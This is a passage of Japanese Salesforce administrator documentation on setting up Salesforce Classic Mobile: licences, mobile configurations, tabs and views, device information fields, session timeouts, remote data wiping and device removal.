Salesforce Classic Mobile の設定
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FAQ - システム管理者向け Salesforce Classic Mobile

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

• Salesforce Classic Mobile アプリケーションは保護されていますか?

Salesforce Classic Mobile アプリケーションは保護されていますか?

Salesforce と Salesforce Classic Mobile の間で転送されるデータはすべて、完全に暗号
化され、無線での転送がセキュリティで保護されます。
モバイルアプリケーションでは、デバイスレベルで複数のセキュリティ層を使
用しています。デバイスベンダによって、パスワードやパスコードのアクセス
制限を設定する機能が提供されています。ユーザは、組織のセキュリティポリ
シーに準拠したデバイス保護を使用する必要があります。デバイスがパスワー
ドによってロックされる場合、認可されていないユーザが機密データを入手す
るのは困難です。
さらに、デバイスでモバイルアプリケーションを有効化するには、ユーザが有
効な Salesforce 認証情報を持っている必要があります。ユーザが新しいワイヤレ
スデバイスを登録すると、古いワイヤレスデバイスの Salesforce データが自動的
に消去されます。つまり、ユーザが一度に有効化できるモバイルデバイスは 1

つのみです。また、Salesforce アカウントを使用して新しいデバイスを有効化す
ると、ユーザに警告メッセージが表示されます。ログインしたユーザのモバイ
ルデバイスでの無操作状態が管理者によって設定された期間を超過すると、モ
バイルセッションが終了されます。セッションを再確立するには、パスワード
またはパスコードが必要です。
管理者は、リモートで紛失または盗難にあったデバイスからデータを削除する
こともできます。

Salesforce Classic Mobile をすべての BlackBerry ユーザにリリースする簡
単な方法はありますか?

組織が BlackBerry Enterprise Server (BES) を使用して BlackBerry スマートフォンを管理する場合は、Application Push を使
用できます。Application Push は、管理者によって開始される、BlackBerry Enterprise Server 上の配信テクノロジです。
このテクノロジによって BlackBerry スマートフォンにリモートでアプリケーションがインストールされます。
このテクノロジは、Salesforceが開発したものではなく、サポートも行っていませんが、BlackBerry Enterprise Server

管理者は、このテクノロジを使用して、BlackBerry ユーザのモバイルデバイスに Salesforce Classic Mobile をインス
トールできます。
Application Push についての詳細は、Research In Motion 社が公式に提供している『BlackBerry Enterprise Server Administrator

Guide』の「Making additional BlackBerry device software and applications available to users」と「Creating software configurations」
のセクションを参照してください。Application Push に関する技術的な問題は、Research in Motion 社のサポートに
お問い合わせください。
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Salesforce Classic Mobile 設定の管理

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を作成、変更、または
削除する
• 「モバイル設定の管

理」

Salesforce Classic Mobile 設定を管理するには、[設定] から [クイック検索] ボックス
に「Salesforce Classic 設定」と入力し、[Salesforce Classic 設定]を選択しま
す。
• 新しいモバイル設定を定義するには、[新規モバイル設定]をクリックします。
• 異なるユーザまたはプロファイルの割り当てやデータセットの最大サイズの

変更など、モバイル設定を変更するには、[編集] をクリックします。
• モバイル設定を有効化するには、[編集]をクリックし、[有効]チェックボッ

クスをオンにして、[保存]クリックします。モバイル設定を無効にするには、
[有効] を選択解除します。

• モバイル設定を削除するには、[削除] をクリックします。
• モバイル設定の詳細を表示するには、モバイル設定の名前をクリックしま

す。
モバイル設定の詳細ページでは、次の操作を実行できます。
– [データセット] 関連リストの [編集]をクリックして、モバイル設定のデー

タセットを変更する。
– [モバイルオブジェクトのプロパティ] 関連リストのオブジェクト名の横に

ある[編集]をクリックして、モバイル化されたオブジェクトのプロパティ
を変更する。

– [モバイルタブ] 関連リストの [編集]をクリックして、モバイル設定のタブ
をカスタマイズする。

– [モバイルビュー] 関連リストの [編集]をクリックして、モバイル設定のカ
スタムビューを作成する。

– [コピー] をクリックして、モバイル設定をコピーする。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
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Salesforce Classic Mobile の権限

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を作成、変更、または
削除する
• 「モバイル設定の管

理」

Salesforce Classic Mobile アプリケーションにアクセスする各ユーザには、モバイル
ライセンスが必要になります。モバイルライセンスを割り当てるには、ユーザ
レコードの [モバイルユーザ] チェックボックスを使用します。
Unlimited Edition、Performance Edition、および Developer Edition を使用している組織に
は、Salesforce ライセンス 1 つにつきモバイルライセンスが 1 つ提供され、[モバ
イルユーザ]チェックボックスはすべてのユーザに対してデフォルトで有効にな
ります。Professional Edition または Enterprise Edition を使用している組織は、モバイ
ルライセンスを別途購入し、それらのライセンスを手動で割り当てる必要があ
ります。

メモ: 新しい Performance Edition ユーザの場合、[モバイルユーザ] チェック
ボックスはデフォルトで無効になっています。

アプリケーションをリリースする準備を整えるまで、ユーザがモバイルデバイ
スで Salesforce Classic Mobile を有効にできないようにするには、すべてのユーザに
対して [モバイルユーザ] チェックボックスをオフにします。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
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Salesforce Classic Mobile タブの管理

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile タ
ブを管理する
• 「モバイル設定の管

理」

Salesforce Classic Mobile 設定のタブを管理するには、[設定] から [クイック検索]

ボックスに「Salesforce Classic 設定」と入力し、[Salesforce Classic 設定]を
選択します。次に、モバイル設定の名前をクリックし、[モバイルタブ] 関連リス
トが表示されるまでスクロールダウンします。
設定のタブがカスタマイズ済みの場合は、選択したタブが [モバイルタブ] 関連
リストに表示されます。
• タブ設定を変更するには、[編集] をクリックします。
• モバイルタブ設定を削除して、デフォルトのタブ動作を代わりに使用するに

は、[デフォルトにリセット] をクリックします。
設定のタブをカスタマイズしていない場合は、設定にデフォルトタブの動作が
使用されることが関連リストに示されます。設定に使用するタブをカスタマイ
ズしてその順序を定義するには、[タブのカスタマイズ] をクリックします。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理
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Salesforce Classic Mobile ビューの管理

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile デ
バイスおよびユーザを表
示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile カ
スタムビューを管理する
• 「モバイル設定の管

理」

Salesforce Classic Mobile設定のカスタムビューを管理するには、[設定] から [クイッ
ク検索]ボックスに「Salesforce Classic 設定」と入力し、[Salesforce Classic

設定]を選択します。次に、モバイル設定の名前をクリックし、[モバイルビュー]

関連リストが表示されるまでスクロールダウンします。
• すべてのカスタムビューの一覧を表示するには、[オブジェクトの選択] ド

ロップダウンリストで [すべてのオブジェクト] を選択します。[オブジェクト
の選択] ドロップダウンリストを使用して、オブジェクトごとのビューを表
示できます。

• 新しいモバイルビューを作成するには、[オブジェクトの選択] ドロップダウ
ンリストからオブジェクトを選択して、[新規モバイルビュー] をクリックし
ます。

• モバイルカスタムビューに変更を加えるには、ビュー名の横の [編集] をク
リックします。

• モバイルカスタムビューを削除するには、ビュー名の横の [削除]をクリック
します。

• モバイルカスタムビューの詳細を表示するには、その名前をクリックしま
す。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile デバイスの管理
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カスタムレポートタイプでの Salesforce Classic Mobile 使用状況データ

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

組織での Salesforce Classic Mobile の使用状況を示すデータを使用して、カスタムレ
ポートタイプを作成できます。たとえば、レポートでは、Salesforce Classic Mobile

へのユーザのアクセス頻度や、使用しているモバイルデバイスの種類などを示
すことができます。
Salesforce Classic Mobile の使用状況データでカスタムレポートタイプを作成するに
は、カスタムレポートタイプを定義するときに、モバイルセッションの [主オブ
ジェクト] を選択します。カスタムレポートタイプの項目を選択する場合は、
次の Salesforce Classic Mobile 固有の項目から選択します。

定義Mobile 使用状況データ項目

通信業者ブランド

デバイスのレコードの合計サイズデータサイズ (バイト)

デバイスの一意の物理アドレス (iOS の
UDID)

デバイスアドレス

Salesforce Classic Mobileのインストールさ
れているバージョン

デバイスアプリケーションのバージョ
ン

デバイスのモデルデバイスモデル

デバイスにインストールされているオ
ペレーティングシステムのバージョン

デバイスのオペレーティングシステム
のバージョン

モバイルセッションの時間 (秒単位)所要時間

最終登録日または有効化日最終登録日

デバイスからの通信の最終受信日状況の最終取得日

デバイスのメーカーメーカー

デバイスのメタデータのサイズ (ペー
ジレイアウト、選択リストの値など)

メタデータサイズ (バイト)

デバイスユーザの名前所有者: 氏名

モバイルセッションの開始日セッション開始日

ユーザのデータセットがモバイル設定
で許可された最大サイズを超えたこと
を示すインジケータ

状況

メモ:

• モバイルセッションは、ログイン履歴レポートの Web ベースのセッションと似ています。ただし、モ
バイルセッションには 20 分という固定のタイムアウト値があります。通常、アプリケーションまたは
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デバイスで 20 分間無操作状態が経過した後、Salesforceでは、ユーザのログイン時またはSalesforce Classic

Mobile の起動時に新しいモバイルセッションを作成します。
• モバイルセッションレポートには、Salesforce Classic Mobileアプリケーションの使用状況データのみが含

まれ、Salesforce1アプリケーションなどのその他のSalesforceモバイルアプリケーションの使用状況デー
タは含まれません。

• いくつかのデバイスでは、すべての物理属性が提供されません。たとえば、Apple デバイスではブラン
ド属性は提供されません。
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Salesforce Classic Mobile デバイスの管理

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile デ
バイスおよびユーザを表
示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile デ
バイスを管理する
• 「モバイル設定の管

理」

ユーザが Salesforce Classic Mobile アプリケーションをモバイルデバイスにインス
トールして、初めてログインするとき、Salesforce ではデバイスに関する情報が
取得され、その情報がユーザレコードと関連付けられます。デバイス情報は参
照のみ可能です。
デバイスエントリは自動的に作成されますが、[設定] から [クイック検索] ボッ
クスに「ユーザとデバイス」と入力し、[ユーザとデバイス] を選択して、組織の
すべてのモバイルユーザとデバイスを表示および管理できます。
[すべてのモバイルユーザとモバイルデバイス] ページでは、次の操作を実行でき
ます。
• 組織内で、Salesforce Classic Mobileの使用が有効になっているユーザのリストを

表示します。
• カスタムリストビューを作成して、モバイルユーザのさまざまなサブセット

を表示します。たとえば、Salesforce Classic MobileアプリケーションからSalesforce

に一度もログインしたことのないユーザを示すビューを作成して、組織での
Salesforce Classic Mobile のリリース活動の効果を評価できます。

• デバイスのアドレスをクリックして、モバイルデバイスの詳細を表示しま
す。

• ユーザ名をクリックして、特定のユーザの詳細を表示します。
• モバイル設定の名前をクリックして、モバイル設定の詳細を表示します。
• 次の操作を複数のユーザで同時に実行します。

– モバイルセッションタイムアウト値を調整する
– ユーザのモバイルデバイスから Salesforce データを消去する
– ユーザレコードからモバイルデバイスを削除する

• ユーザデバイスが同期されない理由を見つけるには、[状況] 列の赤いエラー
アイコン上にマウスを置きます。同期エラーに関する詳細情報がデバイスの
詳細ページに表示されます。

メモ: ユーザの詳細ページの [割り当てられたモバイルデバイス] 関連リス
トからモバイルユーザを管理することもできます。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理
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モバイルデバイスへの Salesforce Classic Mobile ユーザの永続的なリンク

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を変更する
• 「モバイル設定の管

理」

モバイルユーザが最初の Salesforce Classic Mobile の有効化に使用したモバイルデバ
イス以外は登録できなくなります。
Salesforce では、デバイスレコードと最後にデバイスを有効化したモバイルユー
ザが自動的に関連付けられます。そのため、システム管理者は、デバイスを他
のユーザに割り当てるために、そのデバイスのレコードを更新する必要はあり
ません。この動作によって組織内のユーザ間でデバイスを簡単に切り替えるこ
とができますが、システム管理者によっては、ユーザが最初に割り当てられた
デバイスに恒久的にリンクされる設定を好みます。この設定を使用することで、
高度の機密データを扱う組織の管理者は、ユーザが個人用デバイスから社内の
データにアクセスするのを禁止できます。
ユーザをモバイルデバイスに永続的にリンクする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic の設定」

と入力し、[Salesforce Classic の設定] を選択します。
2. [編集] をクリックします。
3. [モバイルデバイスにユーザを恒久的にリンクする] を選択します。
4. [保存] をクリックします。

警告: [モバイルデバイスにユーザを恒久的にリンクする] 設定を有効にする
と、ユーザがデバイスを交換する必要があるときには、管理作業が必要に
なります。ユーザが別のデバイスを登録するには、ユーザのレコードから
手動で既存のデバイスを削除する必要があります。デバイスを削除しない
と、ユーザは Salesforce Classic Mobileアプリケーションにアクセスできなくな
ります。
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Salesforce Classic Mobile デバイス情報の表示

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile デ
バイスおよびユーザを表
示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile デ
バイスを管理する
• 「モバイル設定の管

理」

Salesforce は、ユーザの Salesforce Classic Mobile アプリケーションへの初回ログイン
時に、そのユーザのモバイルデバイス情報を収集します。デバイスの詳細情報
へのアクセス方法は、次の 2 通りがあります。
• [設定] から、[クイック検索]ボックスに「ユーザとデバイス」と入力し、[ユー

ザとデバイス]を選択します。次に、リスビューでデバイスアドレスをクリッ
クします。

• [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択します。ユーザ名の横にある[編集]をクリックし、[割り当てられたモバイ
ルデバイス] 関連リストのデバイスアドレスをクリックします。

[モバイルデバイス] ページから、次の操作が可能です。
• デバイス情報を見直す
• モバイルセッションタイムアウト値を調整する
• ユーザのデバイスから Salesforce データを消去する
• ユーザレコードからデバイスを削除する
組織の各モバイルデバイスに保存される項目の説明は次のとおりです (アルファ
ベット順)。

説明項目

モバイルデバイスのブランド (利用可
能な場合)。

ブランド

モバイルデバイスのサービスを提供す
る通信事業者名 (利用可能な場合)。

電話会社

デバイスがモバイルサーバとの接続を
確立した日時。バッテリが切れたり、
サーバがデバイスからのデータを長時
間受信していないためにセッションが
終了されると、デバイスの接続が失わ
れます。

接続開始日

デバイス接続の状況。この項目の値
は、[接続済み]、[未接続]、および [利
用できません] です。

接続状況

モバイルデバイスを登録した最初の
ユーザの名前と登録を行った日時。

作成者

ユーザのモバイルデバイスに現在保存
されている Salesforceデータのサイズ。

データサイズ

モバイルデバイスは、定期的にこの情
報を Salesforceに送信します。これは、
データ制限を超えたことによる同期エ
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説明項目

ラーのトラブルシューティングに役立ちます。

ユーザのモバイルデバイスの一意の識別子。デバイスアドレス

モバイルデバイスの型。デバイスモデル

デバイスがシミュレータかモバイルデバイスかを示す
フラグ。シミュレータは、モバイルデバイスの動作を

シミュレータ?

エミュレートするソフトウェアアプリケーションで
す。

最後に完全なデータセットをモバイルデバイスにダウ
ンロードした日時。ユーザのデータセットが、割り当

最終有効化日

てられたモバイル設定で定義されている制限を超える
と、デバイスは登録できても、有効化はできません。

デバイスから最後にデータを受信した日時。この情報
は、接続の問題のトラブルシューティングに役立ちま
す。

最終データ受信日

ユーザがモバイルデバイスを最後に登録した日時。登
録プロセスでは、Salesforceにデバイスレコードを作成
し、それを登録したユーザに関連付けます。

最終登録日

エラーが発生したため、データをこれ以上同期しない
ことをモバイルデバイスがSalesforceに通知した最終日

状況の最終取得日

時。[状況の最終取得日]項目は、エラーがある場合に
のみ表示されます。

モバイルデバイスのメーカー。メーカー

ユーザのモバイルデバイスに現在保存されている
Salesforceメタデータのサイズ。メタデータは、ページ

メタデータサイズ

レイアウトとスキーマ情報で構成されており、デバイ
スに送信されるメタデータ量は組織の規模と設定の複
雑さによっては非常に大きくなる場合があります。

モバイルデバイスを登録した最後のユーザの名前と登
録を行った日時。

更新者

モバイルサーバのキュー内にあるデバイスへの送信待
ちメッセージ数。

待機中の送信メッセージ数

モバイルデバイスにインストールされているオペレー
ティングシステムのタイプ: Android または iPhone

OS

モバイルデバイスにインストールされているオペレー
ティングシステムのバージョン番号。

OS バージョン
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説明項目

モバイルデバイスに関連付けられている電話番号。電話番号

デバイスにインストールされているモバイルクライア
ントアプリケーションのバージョン番号およびビルド
番号。

Salesforce Classic Mobile バージョン

デバイスのキュー内にあるモバイルサーバへの送信待
ちメッセージの合計データサイズ。サーバはほとんど

待機中の送信メッセージサイズ (バイト数)

の場合、即座にメッセージを処理するため、この値は
通常 0 です。

モバイルサーバのキュー内にある送信メッセージの合
計データサイズ。

送信メッセージサイズ (バイト)

デバイスとSalesforceとの間に同期エラーがあるかどう
か。[状況] 項目は、エラーがある場合にのみ表示さ

状況

れます。エラー状況には、[データの制限を超えまし
た] と [不明のエラー] の 2 つがあります。

モバイルデバイスに関連付けられているユーザの
Salesforce ユーザ名。

ユーザ名

メモ: 選択したデバイスが他の組織のユーザによって登録されていることをSalesforceが検出すると、デバ
イス詳細ページにはエラーが表示されます。この状況は、デバイスがSandbox組織のユーザに登録され、
その後、本番組織のユーザによって有効化された場合に発生することがあります。古いデバイスレコー
ドを組織から削除する場合は、デバイスを削除します。
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Salesforce Classic Mobile セッションタイムアウト値の設定

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile
セッションタイムアウト
値を設定する
• 「モバイル設定の管

理」

セキュリティ上の理由から、Salesforce Classic Mobile アプリケーションは、10 分間
の無操作の後、ユーザをロックアウトするよう設定されています。システム管
理者はデバイスごとにこの設定を調整したり無効にすることができます。たと
えば、モバイルデバイスのオペレーティングシステムに独自のロック方式があ
る場合は、Salesforce Classic Mobile のタイムアウト設定を無効にしてもかまいませ
ん。
Salesforce Classic Mobile セッションタイムアウト値を変更する手順は、次のとおり
です。
1. 次のいずれかのページに移動します。

• 複数のデバイスを同時に操作するには、[設定] から [クイック検索] ボッ
クスに「ユーザとデバイス」と入力し、[ユーザとデバイス]を選択します。
[モバイルユーザとデバイス] ページのリストビューで、目的のデバイスを
選択します。

• 特定のデバイスを操作するには、[設定] から [クイック検索] ボックスに
「ユーザ」と入力し、[ユーザ]を選択します。ユーザ名をクリックし、[割
り当てられたモバイルデバイス] 関連リストのデバイスアドレスをクリッ
クして [モバイルデバイス] ページを表示します。

2. [モバイルセッションタイムアウトの設定] をクリックします。
3. 新しいタイムアウト値を分単位で選択します。ユーザをアプリケーションか

らロックアウトしない場合は、[無期限] を選択することもできます。
4. [保存] をクリックします。

Salesforce は、選択したモバイルデバイスに対し、新しいセッションタイムア
ウト設定の入ったメッセージを送信します。

5. 確認ページには、選択した各モバイルデバイスの結果がまとめて表示されま
す。

モバイルセッションタイムアウトの結果
Salesforce が選択したモバイルデバイスに対し、新しいセッションタイムアウト
設定を送信した後、結果ページには各メッセージの状況に関する情報が表示さ
れます。表示される 3 つの結果の説明は次の表のとおりです。

説明結果

Salesforce Classic Mobile サーバは、メッセージをデバイ
スに送信しました。Salesforceは、デバイスがメッセー
ジを受信したかどうかを検知できません。

メッセージが正常にキューに入りました

Salesforce と Salesforce Classic Mobile サーバ間の一時的な
通信の問題のため、メッセージを送信できませんでし
た。しばらくしてからもう一度お試しください。

メッセージを送信できません

1339

Salesforce Classic Mobile での外出先での生産性サポートSalesforce 組織の設定および管理



説明結果

選択したモバイルユーザはデバイスを登録していない
ため、メッセージを送信できませんでした。

このユーザにはモバイルデバイスがありません

Salesforce Classic Mobile でのデータの消去

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile を
実行しているデバイスで
Salesforce データを削除す
る
• 「モバイル設定の管

理」

ユーザが Salesforce Classic Mobile アプリケーションにアクセスすると、ユーザのモ
バイルデバイスにはモバイルアプリケーションとユーザの Salesforce データの両
方が含まれます。システム管理者は、モバイルアプリケーションをアンインス
トールすることなく、データをデバイスから削除できます。これは、ユーザが
デバイスを置き忘れた場合に有効なセキュリティツールです。また、デバイス
を他のユーザに渡す予定がある場合にも、デバイスのデータを消去する必要が
あります。
モバイルデバイスの Salesforce データを消去する手順は、次のとおりです。
1. 次のいずれかのページに移動します。

• 複数のデバイスを同時に操作するには、[設定] から [クイック検索] ボッ
クスに「ユーザとデバイス」と入力し、[ユーザとデバイス]を選択します。
[モバイルユーザとデバイス] ページのリストビューで、目的のデバイスを
選択します。

• 特定のデバイスを操作するには、[設定] から [クイック検索] ボックスに
「ユーザ」と入力し、[ユーザ]を選択します。ユーザ名をクリックし、[割
り当てられたモバイルデバイス] 関連リストのデバイスアドレスをクリッ
クして [モバイルデバイス] ページを表示します。

2. [データの消去] をクリックし、[OK] をクリックします。
Salesforce は、モバイルデバイスに、データを消去するようメッセージを送信
します。

データ消去の結果
Salesforceがデータを消去するようモバイルデバイスにメッセージを送信した後、
結果ページには各メッセージの状況に関する情報が表示されます。表示される
3 つの結果の説明は次の表のとおりです。

説明結果

Salesforce Classic Mobile サーバは、メッ
セージをデバイスに送信しました。
Salesforce は、デバイスがメッセージを
受信したかどうかを検知できません。

メッセージが正常にキューに入りまし
た

Salesforceと Salesforce Classic Mobileサーバ
間の一時的な通信の問題のため、メッ

メッセージを送信できません
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説明結果

セージを送信できませんでした。しばらくしてからも
う一度お試しください。

選択したモバイルユーザはデバイスを登録していない
ため、メッセージを送信できませんでした。

このユーザにはモバイルデバイスがありません

関連トピック:

Salesforce Classic Mobile デバイスの管理
モバイルデバイスの削除

1341

Salesforce Classic Mobile での外出先での生産性サポートSalesforce 組織の設定および管理



モバイルデバイスの削除

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

モバイルデバイスおよび
ユーザを表示する
• 「設定・定義を参照す

る」

モバイルデバイスを削除
する
• 「モバイル設定の管

理」権限

ユーザレコードからモバイルデバイスを削除する例として、次の 2 つがありま
す。
• 組織のモバイル設定でモバイルユーザをデバイスに永続的にリンク付けてお

り、デバイスを別のユーザに割り当てる必要がある。この設定を有効化して
いない場合は、Salesforce で、最後にデバイスを有効化したモバイルユーザに
デバイスレコードが自動的に関連付けられるため、デバイスを別のユーザに
割り当てるためにそのデバイスを削除する必要はありません。

• デバイスを Sandbox 組織から本番組織に移動する必要がある。
モバイルデバイスを削除する手順は、次のとおりです。
1. 次のいずれかのページに移動します。

• 複数のデバイスを同時に操作するには、[設定] から [クイック検索] ボッ
クスに「ユーザとデバイス」と入力し、[ユーザとデバイス]を選択します。
[モバイルユーザとデバイス] ページのリストビューで、目的のデバイスを
選択します。

• 特定のデバイスを操作するには、[設定] から [クイック検索] ボックスに
「ユーザ」と入力し、[ユーザ]を選択します。ユーザ名をクリックし、[割
り当てられたモバイルデバイス] 関連リストのデバイスアドレスをクリッ
クして [モバイルデバイス] ページを表示します。

2. [モバイルユーザとデバイス] ページで、1 つ以上のデバイスを選択し、[デバ
イスを削除] をクリックします。[モバイルデバイス] ページで、[削除] をク
リックします。

3. [OK] をクリックします。
Salesforce が、選択したデバイスの削除を実行します。

4. 確認ページには、選択した各モバイルデバイスの結果がまとめて表示されま
す。

デバイス削除の結果
Salesforceがモバイルサーバにデバイスを削除するようメッセージを送信した後、
結果ページに各デバイスの状況に関する情報が表示されます。表示される 3 つ
の結果の説明は次の表のとおりです。

説明結果

Salesforce は、組織からデバイスレコー
ドを削除しました。

デバイスは削除されました。

Salesforce とモバイルサーバ間の一時的
な通信の問題のため、モバイルサーバ

デバイスは現在削除できません。しば
らくしてからもう一度お試しくださ
い。 はデバイスを削除できませんでした。
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説明結果

しばらくしてからもう一度お試しください。

選択したモバイルユーザはデバイスを登録していない
ため、メッセージを送信できませんでした。

ユーザにはモバイルデバイスがありません。

関連トピック:

Salesforce Classic Mobile でのデータの消去

Salesforce Classic Mobile アプリケーションの制限

モバイルデバイスの制限

Apple iPhone および iPod Touch デバイス • 第三者 (Apple Inc. およびお客様のネットワーク接続
プロバイダなどに限らず) は、お客様に第三者また
は Salesforce からの返金、控除、その他の補償の権
利を与えることなく、いかなる時でも、iPhone お
よび iPod touch デバイスでの Salesforce Classic Mobile

の使用の制限、中断または停止、iPhone および iPod

touch デバイスからの Salesforce Classic Mobile アプリ
ケーションの削除、または、Salesforce に対する上
記のいずれかの実行の要求を行うことができます。

• サービスレベル規約は、Salesforce Classic Mobile for

iPhone 製品には適用されません。その他の制限事
項については、「Salesforce Classic Mobile for iPhone 注
文書補足条項」に記載されています。ユーザは
Salesforce Classic Mobile for iPhone 製品をダウンロード
またはインストールする際に、これに同意してい
ただく必要があります。

ダッシュボードの制限
Salesforce Classic Mobile でダッシュボードを使用する場合は、次の制限があります。
• ダッシュボードの作成または編集はできません。
• カスタムレポートの詳細へのリンクは、無効になります。
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モバイルユーザの転送登録情報の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

モバイル転送登録情報を
表示する
• 「設定・定義を参照す

る」

[モバイル転送の登録] ページでは、一般的なトラブルシューティング目的ですべ
てのユーザの転送登録情報を表示できます。
ユーザのデバイス転送登録情報を表示する
